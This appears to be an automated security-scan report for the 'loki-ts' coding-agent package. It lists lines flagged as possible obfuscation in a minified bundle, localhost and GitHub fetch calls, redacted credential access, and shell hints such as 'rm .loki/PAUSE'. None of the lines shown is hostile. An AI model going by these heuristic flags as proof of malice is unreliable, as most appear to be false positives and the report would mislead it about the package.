  • Possible obfuscationline 1512
    `)}}function JO0($,Z){return["You are triaging one GitHub issue for an autonomous coding agent that would attempt it as a single pull request in this repository.","Do not edit, create or delete any file. You may read the repository to judge
  • Possible obfuscationline 1513
    `)}function XO0($){let Z=[...$.matchAll(ZO0)],J=Z[Z.length-1];return J?{decision:J[1],reason:J[2].trim()}:{decision:"unknown",reason:"triage reply had no TRIAGE line"}}function YO0($,Z,J){return async(X,Y)=>{let{createSessionRunner:Q}=await
  • Possible obfuscationline 1514
    `,aF0,$P8=100,ZP8,JP8=2,S2=($,Z)=>{let J=$.replace(/[\x00-\x1f\x7f|]+/g," ").trim();return J.length>Z?`${J.slice(0,Z-3)}...`:J},YP8=($)=>$.split( `).map((Z)=>Z.trim()).filter(Boolean).pop()??"",QP8,$l=($)=>$<90?`${Math.round($)}s`:`${Math.r
  • Possible obfuscationline 1515
    `).map((Z)=>Z.trim()).filter(Boolean).pop()??"",QP8,$l=($)=>$<90?`${Math.round($)}s`:`${Math.round($/60)}m`,KP8,dF0=async()=>({ok:!0,hold:!1,reason:"not consulted"}),ZO0;var fR=_(()=>{x2();iB();iU();uF0();sZ();b0();_6();Vz();aF0=/^[A-Za-z0-
  • Possible obfuscationline 1517
    `),J=await qO0("> ",VO0);let X=GO0(J);if(!X)return;HO0(Z,{run_id:$.runId,score:X.score,again:X.again,at:new Date().toISOString()})}function qO0($,Z,J=process.stdin,X=process.stderr){return new Promise((Y)=>{let Q=NP8({input:J,output:X}),W=!
  • Possible obfuscationline 1518
    `),Z==="implement"){if($==="stage.started")this.implementOpen=!0;else if($==="stage.completed"||$==="stage.failed"||$==="stage.skipped")this.implementOpen=!1}return X}ingest($){let Z;try{Z=JSON.parse($)}catch{return null}if(typeof Z!=="obje
  • Possible obfuscationline 1519
    `),uR(X,"stuck",c)});Mh(z);let G=setInterval(()=>{Mh(z),K.tick(Date.now())},EP8);G.unref();let H={...X};if(IB(H),$.resume)H.LOKI_E10_RESUME="1";H.LOKI_INTENT_TTY=X.LOKI_CONFIRM==="1"&&process.stdin.isTTY===!0&&process.stdout.isTTY===!0?"1":
  • Possible obfuscationline 1520
    `)}if($.status){let c=await $.status({prUrl:x,outcome:String(Z0),reason:l});W.append("issue.commented",null,{argv:c?.argv??[],ok:c?.ok??!1,...c?.skipped?{skipped:!0}:{},reason:l??String(Z0)})}W.append("run.completed",null,{verdict:w,...D?{c
  • Possible obfuscationline 1545
    `);let h=Date.now(),d=I9(N,z9(T)),v=[],p=(V0)=>{v.push(V0);let w0=(Date.parse(V0.ts)-h)/1000,q0=V0.data;if(V0.type.startsWith("stage.")&&V0.type!=="stage.started"){let U8=V0.type==="stage.completed"?"done":V0.type==="stage.failed"?"failed":
  • Possible obfuscationline 1547
    `)}},Z0=()=>{},b=setInterval(()=>{if(q&&!H&&Jl(d))clearInterval(b),Z0=hY(d,p,{intervalMs:250})},100),l=()=>{},a=!q&&!H?new gd({tty:!!process.stdout.isTTY,write:(V0)=>{process.stdout.write(V0)},columns:ez(),graceS:3}):null;if(a){if(process.e
  • Possible obfuscationline 1553
    `:RI(o,{pr:n.prUrl?{url:n.prUrl,draft:n.verdict!=="VERIFIED"}:null,verdict:n.verdict,outcome:n.outcome,reason:YQ(o,n.tampered,n.stop,n.outcome),receipt:{sha:n.tampered?null:n.receiptSha,tampered:n.tampered,signed:n.tampered?null:o.findLast(
  • Possible obfuscationline 1558
    `):Xd(q8,y9),T0,7,z0?1:0)),!H&&n.outcome==="VERIFIED")await Promise.resolve().then(() => (BO0(),UO0)).then((V0)=>V0.maybeAsk({runId:T,env:process.env,isTTY:process.stdin.isTTY===!0&&process.stdout.isTTY===!0})).catch(()=>{});return n.outcom
  • Possible obfuscationline 1559
    `).filter((X)=>J.test(X)).map((X)=>X.toLowerCase().replace(/[^a-z0-9]+/g,"-"))}function lR($,Z){if(Z.some((J)=>J.length>=yP8&&$.length>=J.length+3&&$.startsWith(J)&&!bP8.test($.slice(J.length))))return!0;for(let J=0;J<Z.length;J++)for(let X
  • Possible obfuscationline 1563
    `)}function DO0($,Z){return new RegExp(`\\b${Z.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}\\b`).test($)}function hO0($,Z,J){if(Z.source==="changelog")return!1;return(DO0($,Z.path)||DO0($,_O0(Z.path)))&&fP8(xO0(J,Z.path))}function Ul($){return["L
  • Possible obfuscationline 1564
    `)}function Bl($,Z,J){return R1({cmd:"comment",runId:$,prUrl:Z,file:J})}var mP8,uP8=2,cP8=7,dP8;var fO0=_(()=>{wO0();c5();mP8=["CHANGELOG.md","README.md"],dP8=new Set(["a","an","and","are","as","at","be","but","by","for","from","had","has",
  • Possible obfuscationline 1568
    `)}})});return J.on("error",()=>{}),J.listen($),{path:$,stop:()=>{J.close();try{mO0($)}catch{}}}}var tP8=1e6;var nR=_(()=>{b0();G8();iZ();o9()});import{execFile as $A8}from"child_process";import{mkdirSync as ZA8,mkdtempSync as JA8,rmSync as
  • Possible obfuscationline 1577
    `),F=BA8(UA8(H)),N=GA8(_8)}else if(q!==void 0)U="text",B=I4(q);else return{status:"failed",data:{},reason:"no task text and no issue.json: nothing to intake"};let O=A9($.repoDir),L=o8.runtimeEvidence?.(M)??null,C={...L?{runtime_evidence:L}:
  • Possible obfuscationline 1580
    `);let H0=D(),_0=E(),i=await XL0($,Z,Y,s);w.project_model=Object.keys(i).length?{ms:_0(),at:H0,cached:i.project_model.cached===!0}:{skipped:"project model disabled or unavailable"};let n={},o=D(),e=await BW0($,Z,s.runners,n);w.deps_install=
  • Possible obfuscationline 1587
    `);if(L)$.emit("route.escalated","fix",{...L});let P=J.fix?.diagnosis??null,T={sessionId:J.fix?.session_id??J.implement?.session_id??null,model:J.fix?.model??J.implement?.model??$.model},A=o8.effort?.fix(W,q.length>0),I={stage:"fix",tier:"d
  • Possible obfuscationline 1605
    `});import{copyFileSync as EA8,existsSync as OL0,lstatSync as wA8,mkdirSync as LL0,mkdtempSync as jL0,readFileSync as DA8,realpathSync as ML0,rmSync as CL0,statSync as _A8,writeFileSync as xA8}from"fs";import{randomBytes as kA8}from"crypto"
  • Possible obfuscationline 1606
    `).slice(-3).join(" | ");return hJ(`secure-scan failed (exit ${W.exitCode}): ${G}`)}async function El($,Z,J){let X=jL0(D$(PL0(),"loki-deep-secure-"));try{for(let Y of Z)if(OL0(D$($,Y))&&wA8(D$($,Y)).isFile())LL0(AL0(D$(X,Y)),{recursive:!0})
  • Possible obfuscationline 1607
    `)){if(Y>0||Q>0){if(W.startsWith("\\"))continue;if(W.startsWith("+")){if(J)J.set(X,W.slice(1));X++,Q--}else if(W.startsWith("-"))Y--;else X++,Y--,Q--;continue}if(W.startsWith("diff --git ")){J=null;continue}if(W.startsWith("+++ ")){let V=uA
  • Possible obfuscationline 1610
    `)}}let H=await ZM(W,{scriptPath:Z.scriptPath,timeoutMs:Z.timeoutMs,secretsEverywhere:!0});if(!H.ok)return H;let q=new Map;for(let B of H.findings){if(B.rule!=="secret-in-client-file")continue;let M=V.get(B.file.split(NL0).join("/"));if(M)B
  • Possible obfuscationline 1611
    ${G.stderr}`),U=G.exitCode===0?void 0:await KJ({repoDir:$.repoDir,baseSha:$.baseSha,skip:v6($.repoDir,$.outputs().intake?.install_created),out:q,cmd:z.cmd,args:z.args,signal:Z,...J.path?{env:{PATH:J.path}}:{}});if(U){X.push({name:V,cmd:[z.c
  • Possible obfuscationline 1615
    `);P.push(A)}if(T.length>0)G.push(`added lines could not be read: ${T.join(", ")}`);await U("content",L,P),await U("path",$.repoDir,C),B=await El(L,P,J.secureScanPath)}finally{iA8(L,{recursive:!0,force:!0})}}else await U("both",$.repoDir,Z)
  • Possible obfuscationline 1620
    `),1;return 0}var wL0,IL0=300000,xL0,sA8;var ZE=_(()=>{qJ();BL0();wl();YT();F9();QU();ZR();v7();UV();lz();i8();$U();R2();c5();b0();G8();b3();wL0=y2(x0,"autonomy/lib/secret-scan.sh");xL0={name:"deep",...D5.deep,run:($,Z)=>Dl($,Z)},sA8=xL0});
  • Network accessline 1683
    }   function loadVersion() {     fetch("/version").then(function (r) { return r.json(); }).then(function (v) {
  • Network accessline 1684
    function loadVersion() {     fetch("/version").then(function (r) { return r.json(); }).then(function (v) {       document.getElementById("version").textContent =
  • Network accessline 1685
    fetch("/version").then(function (r) { return r.json(); }).then(function (v) {
  • Network accessline 1696
    }   function loadRuns() {     fetch("/api/runs").then(function (r) { return r.json(); }).then(function (runs) {
  • Network accessline 1697
    function loadRuns() {     fetch("/api/runs").then(function (r) { return r.json(); }).then(function (runs) {       var ul = document.getElementById("runs");
  • Network accessline 1698
    fetch("/api/runs").then(function (r) { return r.json(); }).then(function (runs) {
  • Possible obfuscationline 1797
    `}var fL0=async($,Z)=>{let J;try{J=decodeURIComponent(Z)}catch{return new Response("bad group id",{status:400})}return(await Promise.resolve().then(() => (vL0(),bL0))).groupResponse($,J)};import{join as oV}from"path";function YE($=new Date)

loki-ts/package.json

  • Executable scriptline 1
    Executable file

loki-ts/scripts/build.ts

  • Executable scriptline 1
    Executable file

loki-ts/scripts/gen-cli-modern-doc.ts

  • Executable scriptline 1
    Executable file

loki-ts/scripts/gen-command-lists.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/cli.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/cli/completions.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/cli/inventory_doc.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/cli/registry.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/cockpit/capability.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/cockpit/cli.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/cockpit/encode.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    // // References: //   iTerm2  https://iterm2.com/documentation-images.html
  • Network accessline 7
    // References: //   iTerm2  https://iterm2.com/documentation-images.html //   Kitty   https://sw.kovidgoyal.net/kitty/graphics-protocol/
  • Network accessline 8
    //   iTerm2  https://iterm2.com/documentation-images.html
  • Network accessline 9
    //   Kitty   https://sw.kovidgoyal.net/kitty/graphics-protocol/

loki-ts/src/cockpit/raster.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/cockpit/render.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/cockpit/svg.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 298
    return `<svg xmlns="http://www.w3.org/2000/svg" width="${W}" height="${H}" viewBox="0 0 ${W} ${H}">

loki-ts/src/commands/completion.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/commands/control.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 31
    The control plane URL comes from LOKI_CONTROL_URL, else http://127.0.0.1:\${LOKI_CONTROL_PORT:-${DEFAULT_PORT}}.
  • Network accessline 35
    const baseUrl = (env: NodeJS.ProcessEnv): string => (env.LOKI_CONTROL_URL || `http://127.0.0.1:${env.LOKI_CONTROL_PORT || DEFAULT_PORT}`).replace(/\/+$/, "");
  • Network accessline 71
    let running = typeof inst.version === "string" ? inst.version : "unknown";   try {     const h = (await (await fetch(`${inst.url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string; version?: string };
  • Network accessline 72
    try {     const h = (await (await fetch(`${inst.url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string; version?: string };     if (h.service !== "loki-control") return null; // the recorded pid now belongs to s
  • Network accessline 73
    const h = (await (await fetch(`${inst.url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string; version?: string };
  • Network accessline 97
    }   try {     const h = (await (await fetch(`${inst.url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string };
  • Network accessline 98
    try {     const h = (await (await fetch(`${inst.url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string };     if (h.service !== "loki-control") throw new Error("health identity is not loki-control");
  • Network accessline 99
    const h = (await (await fetch(`${inst.url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string };
  • Network accessline 159
    const url = baseUrl(env);   try {     const h = (await (await fetch(`${url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string; pid?: number };
  • Network accessline 160
    try {     const h = (await (await fetch(`${url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string; pid?: number };     if (h.service !== "loki-control") throw new Error("not a loki control plane");
  • Network accessline 161
    const h = (await (await fetch(`${url}/health`, { signal: AbortSignal.timeout(3000) })).json()) as { service?: string; pid?: number };
  • Network accessline 164
    let total: number | null = null;     try {       const res = await fetch(`${url}/v1/runs?limit=1`, { signal: AbortSignal.timeout(3000) });
  • Network accessline 165
    try {       const res = await fetch(`${url}/v1/runs?limit=1`, { signal: AbortSignal.timeout(3000) });       if (!res.ok) throw new Error(`HTTP ${res.status}`);
  • Network accessline 166
    const res = await fetch(`${url}/v1/runs?limit=1`, { signal: AbortSignal.timeout(3000) });

loki-ts/src/commands/crash.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 28
    const ISSUE_BASE = "https://github.com/asklokesh/loki-mode/issues/new";

loki-ts/src/commands/doctor.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 451
    export async function httpReachable(url: string, timeoutMs = 2000): Promise<boolean> {   try {     const res = await fetch(url, { signal: AbortSignal.timeout(timeoutMs) });
  • Network accessline 452
    try {     const res = await fetch(url, { signal: AbortSignal.timeout(timeoutMs) });     return res.ok;
  • Network accessline 453
    const res = await fetch(url, { signal: AbortSignal.timeout(timeoutMs) });
  • Network accessline 548
    pyImpl.fn("numpy", true),     pyImpl.fn("sentence_transformers", true),     integrationImpl.http("http://localhost:8100/api/v2/heartbeat"),
  • Network accessline 549
    pyImpl.fn("sentence_transformers", true),     integrationImpl.http("http://localhost:8100/api/v2/heartbeat"),     Promise.all(LSP_BINS.map(async (bin) => ((await integrationImpl.command(bin)) ? bin : null))),
  • Network accessline 550
    integrationImpl.http("http://localhost:8100/api/v2/heartbeat"),
  • Network accessline 1052
    [Credential-related source omitted]
  • Network accessline 1053
    const res = await fetch(`https://api.anthropic.com/v1/models/${encodeURIComponent(id)}`, {
  • Access to secretsline 1099
    [Credential-related source omitted]
  • Access to secretsline 1100
    [Credential-related source omitted]
  • Access to secretsline 1238
    [Credential-related source omitted]
  • Access to secretsline 1243
    [Credential-related source omitted]
  • Access to secretsline 1245
    [Credential-related source omitted]
  • Access to secretsline 1250
    [Credential-related source omitted]
  • Access to secretsline 1277
    [Credential-related source omitted]
  • Access to secretsline 1278
    [Credential-related source omitted]
  • Access to secretsline 1288
    [Credential-related source omitted]
  • Access to secretsline 1290
    [Credential-related source omitted]
  • Access to secretsline 1376
    [Credential-related source omitted]
  • Access to secretsline 1377
    [Credential-related source omitted]
  • Access to secretsline 1404
    [Credential-related source omitted]
  • Network accessline 1533
    else if (blockers.includes("jq is not installed")) key = "jq";   else if (blockers.includes("git is not installed")) key = "git";   else if (blockers.includes("curl is not installed")) key = "curl";
  • Network accessline 1534
    else if (blockers.includes("git is not installed")) key = "git";   else if (blockers.includes("curl is not installed")) key = "curl";   else if (blockers.includes("Free up disk")) key = "disk";
  • Network accessline 1535
    else if (blockers.includes("curl is not installed")) key = "curl";
  • Access to secretsline 1694
    [Credential-related source omitted]
  • Access to secretsline 1695
    [Credential-related source omitted]
  • Access to secretsline 1700
    [Credential-related source omitted]
  • Access to secretsline 1701
    [Credential-related source omitted]
  • Access to secretsline 1716
    [Credential-related source omitted]
  • Access to secretsline 1717
    [Credential-related source omitted]
  • Access to secretsline 1721
    [Credential-related source omitted]
  • Access to secretsline 1890
    [Credential-related source omitted]

loki-ts/src/commands/doctor_fix.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 69
    const MANUAL: Record<string, string> = {   node: "Install Node.js 20+: https://nodejs.org (or: brew install node)",
  • Network accessline 70
    node: "Install Node.js 20+: https://nodejs.org (or: brew install node)",
  • Network accessline 72
    jq: "Install jq: brew install jq (macOS) or apt install jq / dnf install jq (Linux)",   git: "Install git: brew install git (macOS) or apt install git (Linux)",   curl: "Install curl: brew install curl (macOS) or apt install curl (Linux)",
  • Network accessline 73
    git: "Install git: brew install git (macOS) or apt install git (Linux)",   curl: "Install curl: brew install curl (macOS) or apt install curl (Linux)", };
  • Network accessline 74
    curl: "Install curl: brew install curl (macOS) or apt install curl (Linux)",
  • Access to secretsline 158
    [Credential-related source omitted]
  • Network accessline 163
    }   if (!has("bun")) {     manual.push("bun (optional, bundled by the npm package): see https://bun.sh");
  • Network accessline 164
    if (!has("bun")) {     manual.push("bun (optional, bundled by the npm package): see https://bun.sh");   }
  • Network accessline 165
    manual.push("bun (optional, bundled by the npm package): see https://bun.sh");

loki-ts/src/commands/export_sarif.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/commands/internal_exec_manifest.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/commands/internal_phase1.ts

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 168
    // reviews and resumes via `rm .loki/PAUSE` (optionally directing the agent with
  • Dangerous shell operationline 211
    // the human-escape path (rm .loki/PAUSE, optionally .loki/HUMAN_INPUT.md).
  • Dangerous shell operationline 222
    `Fix the finding, or use the human-escape path (rm .loki/PAUSE; optionally .loki/HUMAN_INPUT.md). ` +

loki-ts/src/commands/internal_sdk_judge.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/commands/issues_epic.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/commands/issues_run.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/commands/kpis.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/commands/memory.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    import { mkdir } from "node:fs/promises"; import { suggestWord } from "../cli/registry.ts"; import { BOLD, GREEN, YELLOW, CYAN, NC } from "../util/colors.ts";
  • Network accessline 8
    import { suggestWord } from "../cli/registry.ts"; import { BOLD, GREEN, YELLOW, CYAN, NC } from "../util/colors.ts"; import { homeLokiDir, lokiDir, REPO_ROOT } from "../util/paths.ts";
  • Network accessline 9
    import { BOLD, GREEN, YELLOW, CYAN, NC } from "../util/colors.ts";
  • Network accessline 271
    if (!repo) {             const g = await defaultGh(["repo", "view", "--json", "nameWithOwner", "-q", ".nameWithOwner"]);             if (g.code === 127) { process.stderr.write("Error: gh CLI not found. Install GitHub CLI (https://cli.github
  • Network accessline 272
    const g = await defaultGh(["repo", "view", "--json", "nameWithOwner", "-q", ".nameWithOwner"]);             if (g.code === 127) { process.stderr.write("Error: gh CLI not found. Install GitHub CLI (https://cli.github.com) and run `gh auth lo
  • Network accessline 273
    if (g.code === 127) { process.stderr.write("Error: gh CLI not found. Install GitHub CLI (https://cli.github.com) and run `gh auth login`.\n"); return 1; }

loki-ts/src/commands/proof.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 368
    [Credential-related source omitted]
  • Network accessline 371
    let resp: Response;   try {     resp = await fetch(endpoint, {
  • Network accessline 372
    try {     resp = await fetch(endpoint, {       method: "POST",
  • Network accessline 373
    resp = await fetch(endpoint, {
  • Network accessline 477
    const enc = (s: string): string => encodeURIComponent(s.replace(/-/g, "--"));   const label = "Loki";   const badgeUrl = `https://img.shields.io/badge/${enc(label)}-${enc(message)}-${color}`;
  • Network accessline 478
    const label = "Loki";   const badgeUrl = `https://img.shields.io/badge/${enc(label)}-${enc(message)}-${color}`;   const alt = "Verified by Loki";
  • Network accessline 479
    const badgeUrl = `https://img.shields.io/badge/${enc(label)}-${enc(message)}-${color}`;
  • Network accessline 680
    process.stderr.write("  brew install gh        # macOS\n");     process.stderr.write("  sudo apt install gh    # Ubuntu/Debian\n");     process.stderr.write("  https://cli.github.com # Other platforms\n");
  • Dangerous shell operationline 681
    process.stderr.write("  sudo apt install gh    # Ubuntu/Debian\n");
  • Network accessline 681
    process.stderr.write("  sudo apt install gh    # Ubuntu/Debian\n");     process.stderr.write("  https://cli.github.com # Other platforms\n");     return false;
  • Network accessline 682
    process.stderr.write("  https://cli.github.com # Other platforms\n");

loki-ts/src/commands/provider.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    import { resolve } from "node:path"; import { commandExists, commandVersion } from "../util/shell.ts"; import { BOLD, CYAN, GREEN, YELLOW, RED, DIM, NC } from "../util/colors.ts";
  • Network accessline 7
    import { commandExists, commandVersion } from "../util/shell.ts"; import { BOLD, CYAN, GREEN, YELLOW, RED, DIM, NC } from "../util/colors.ts"; import { lokiDir } from "../util/paths.ts";
  • Network accessline 8
    import { BOLD, CYAN, GREEN, YELLOW, RED, DIM, NC } from "../util/colors.ts";

loki-ts/src/commands/queue.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/commands/rollback.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/commands/run_status.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 138
    const port = env.LOKI_CONTROL_PORT || String(CONTROL_DEFAULT_PORT);   if (!/^\d+$/.test(port)) return null;   const url = `http://127.0.0.1:${port}`;
  • Network accessline 139
    if (!/^\d+$/.test(port)) return null;   const url = `http://127.0.0.1:${port}`;   try {
  • Network accessline 140
    const url = `http://127.0.0.1:${port}`;   try {     const h = (await (await fetch(`${url}/health`, { signal: AbortSignal.timeout(300) })).json()) as { service?: string };
  • Network accessline 141
    try {     const h = (await (await fetch(`${url}/health`, { signal: AbortSignal.timeout(300) })).json()) as { service?: string };     return h.service === "loki-control" ? url : null;
  • Network accessline 142
    const h = (await (await fetch(`${url}/health`, { signal: AbortSignal.timeout(300) })).json()) as { service?: string };

loki-ts/src/commands/start.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 653
    export function canonicalPrUrl(a: string): string | null {   const m = /^https?:\/\/(?:www\.)?github\.com\/([A-Za-z0-9][\w.-]*\/[A-Za-z0-9][\w.-]*)\/pull\/(\d+)(?:[/?#].*)?$/i.exec(a);   return m ? `https://github.com/${m[1]!}/pull/${m[2]!}
  • Network accessline 654
    const m = /^https?:\/\/(?:www\.)?github\.com\/([A-Za-z0-9][\w.-]*\/[A-Za-z0-9][\w.-]*)\/pull\/(\d+)(?:[/?#].*)?$/i.exec(a);   return m ? `https://github.com/${m[1]!}/pull/${m[2]!}` : null; }
  • Network accessline 655
    return m ? `https://github.com/${m[1]!}/pull/${m[2]!}` : null;

loki-ts/src/commands/stats.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 15
    import { lokiDir } from "../util/paths.ts"; import { isGroupCostRecord } from "../metrics/kpis.ts"; import { BOLD, YELLOW, NC } from "../util/colors.ts";
  • Network accessline 16
    import { isGroupCostRecord } from "../metrics/kpis.ts"; import { BOLD, YELLOW, NC } from "../util/colors.ts"; import { readEvents } from "../engine10/events.ts";
  • Network accessline 17
    import { BOLD, YELLOW, NC } from "../util/colors.ts";

loki-ts/src/commands/status.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 16
    import { commandExists, run } from "../util/shell.ts"; import { findPython3 } from "../util/python.ts"; import { BOLD, CYAN, GREEN, YELLOW, RED, DIM, NC } from "../util/colors.ts";
  • Network accessline 17
    import { findPython3 } from "../util/python.ts"; import { BOLD, CYAN, GREEN, YELLOW, RED, DIM, NC } from "../util/colors.ts"; import { lokiDir, REPO_ROOT } from "../util/paths.ts";
  • Network accessline 18
    import { BOLD, CYAN, GREEN, YELLOW, RED, DIM, NC } from "../util/colors.ts";
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Access to secretsline 211
    [Credential-related source omitted]
  • Network accessline 831
    const enc = (x: string): string => encodeURIComponent(x.replace(/-/g, "--"));   const link = `${url.replace(/\/+$/, "")}/.well-known/loki-provenance.json`;   process.stdout.write(`[![${message}](https://img.shields.io/badge/${enc("Loki")}-$
  • Network accessline 832
    const link = `${url.replace(/\/+$/, "")}/.well-known/loki-provenance.json`;   process.stdout.write(`[![${message}](https://img.shields.io/badge/${enc("Loki")}-${enc(message)}-${color})](${link})\n`);   return 0;
  • Network accessline 833
    process.stdout.write(`[![${message}](https://img.shields.io/badge/${enc("Loki")}-${enc(message)}-${color})](${link})\n`);
  • Network accessline 867
    lastStatus = null;     try {       const res = await fetch(raw, { redirect: "follow", signal: AbortSignal.timeout(timeoutMs) });
  • Network accessline 868
    try {       const res = await fetch(raw, { redirect: "follow", signal: AbortSignal.timeout(timeoutMs) });       lastStatus = res.status;
  • Network accessline 869
    const res = await fetch(raw, { redirect: "follow", signal: AbortSignal.timeout(timeoutMs) });

loki-ts/src/commands/trust.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 170
    [Credential-related source omitted]

loki-ts/src/commands/undo.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/commands/undo_apply.ts

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 128
    const rm = existsSync(wt) ? git(o.repoDir, ["worktree", "remove", wt]) : { status: 0, stdout: "", stderr: "" };

loki-ts/src/commands/verify_pr.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 118
    /** `https://github.com/o/r/pull/N` or `o/r#N`; anything else is refused. */
  • Network accessline 130
    *  authorAssociation field, so the association comes from the REST issue object. A failed lookup is flagged, never guessed. */ export function defaultIssue(ref: string, env: NodeJS.ProcessEnv = process.env, fetch: (r: string) => { body?: st
  • Network accessline 131
    export function defaultIssue(ref: string, env: NodeJS.ProcessEnv = process.env, fetch: (r: string) => { body?: string } = fetchIssue): IssueInfo {   const body = fetch(ref).body ?? "";   const m = /^([^#]+)#(\d+)$/.exec(ref);
  • Network accessline 132
    const body = fetch(ref).body ?? "";
  • Network accessline 145
    };   const issueRefs = (j.closingIssuesReferences ?? []).map((i) => `${i.repository?.owner?.login ?? ref.repo.split("/")[0]}/${i.repository?.name ?? ref.repo.split("/")[1]}#${i.number}`);   return { baseSha: j.baseRefOid, headSha: j.headRef
  • Network accessline 146
    const issueRefs = (j.closingIssuesReferences ?? []).map((i) => `${i.repository?.owner?.login ?? ref.repo.split("/")[0]}/${i.repository?.name ?? ref.repo.split("/")[1]}#${i.number}`);   return { baseSha: j.baseRefOid, headSha: j.headRefOid, 
  • Network accessline 147
    return { baseSha: j.baseRefOid, headSha: j.headRefOid, cloneUrl: `https://github.com/${ref.repo}.git`, issueRefs };
  • Access to secretsline 169
    [Credential-related source omitted]
  • Network accessline 298
    const USAGE = "Usage: loki verify-pr <https://github.com/o/r/pull/N | o/r#N> [--out DIR] [--json]\nDerives a check from the PR's linked issue; VERIFIED only if it fails on base, passes on head, and package suites pass.\nPR code runs only in

loki-ts/src/commands/version.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/commands/wiki.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/contrib/ai_bom.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/contrib/brief_facts.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/contrib/cost_records.ts

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 42
    const a = rec_cost(prev), b = rec_cost(rec), pm = prev["model_usage"], rm = rec["model_usage"];

loki-ts/src/contrib/effort_policy.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/contrib/eta.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/contrib/forecast.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/contrib/index.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/contrib/plan_cmd.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/contrib/receipt_time.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/contrib/runtime_evidence.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/contrib/sarif.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 24
    const SCHEMA = "https://json.schemastore.org/sarif-2.1.0.json";
  • Network accessline 77
    name: "Loki Mode",             version: toolVersion,             informationUri: "https://www.autonomi.dev/",
  • Network accessline 78
    version: toolVersion,             informationUri: "https://www.autonomi.dev/",             rules: used.map((r) => ({ id: r.id, name: r.name, shortDescription: { text: r.text } })),
  • Network accessline 79
    informationUri: "https://www.autonomi.dev/",

loki-ts/src/contrib/slack_inbound.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 5
    [Credential-related source omitted]
  • Network accessline 221
    [Credential-related source omitted]
  • Network accessline 222
    [Credential-related source omitted]
  • Network accessline 223
    [Credential-related source omitted]
  • Network accessline 234
    [Credential-related source omitted]
  • Network accessline 235
    [Credential-related source omitted]
  • Network accessline 236
    [Credential-related source omitted]
  • Access to secretsline 266
    [Credential-related source omitted]
  • Network accessline 278
    const serve = opts.serve ?? ((o) => Bun.serve(o));   const server = serve({ hostname: host, port, fetch: makeSlackFetch(secret, state, deps) });   process.stdout.write(`slack: listening on http://${host}:${server.port}\n`);
  • Network accessline 279
    const server = serve({ hostname: host, port, fetch: makeSlackFetch(secret, state, deps) });   process.stdout.write(`slack: listening on http://${host}:${server.port}\n`);   if (opts.wait === false) return 0;
  • Network accessline 280
    process.stdout.write(`slack: listening on http://${host}:${server.port}\n`);

loki-ts/src/contrib/stage_capability.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/contrib/status.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/contrib/verify_pr_f2p.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/contrib/wall_snapshot.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/council/finding_schema.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/council/role_agents.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/e10ext/assert_delta.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/e10ext/budget_cap.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 23
    [Credential-related source omitted]

loki-ts/src/e10ext/commit_filter.ts

  • Executable scriptline 1
    Executable file

loki-ts/src/e10ext/compound_match.ts

  • Executable scriptline 1
